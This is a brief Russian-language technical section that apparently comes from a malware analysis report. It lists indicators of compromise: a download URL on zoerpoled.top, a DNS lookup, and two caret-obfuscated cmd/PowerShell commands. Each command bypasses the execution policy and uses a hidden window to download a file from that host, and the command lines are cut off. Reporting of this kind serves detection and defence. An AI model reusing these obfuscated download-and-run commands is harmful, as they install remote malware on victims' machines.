Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "PO^W^Er^Sh^ElL.^e^X^e -eXeCUti^O^Np^o^LICy B^Yp^AsS^ ^-^No^pROFIle^ ^-WInd^owsT^Y^l^E hIddE^n ^(nE^W-o^B^Ject ^SYstem.^n^et^.WEBC^lIE^nT).^do^W^nL^OaDF^ILe('http://www.zoerpoled.to...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /C "PO^W^Er^Sh^ElL.^e^X^e -eXeCUti^O^Np^o^LICy B^Yp^AsS^ ^-^No^pROFIle^ ^-WInd^owsT^Y^l^E hIddE^n ^(nE^W-o^B^Ject ^SYstem.^n^et^.WEBC^lIE^nT).^do^W^nL^OaDF^ILe('http://www.zoerpoled.to...' (со скрытым окном)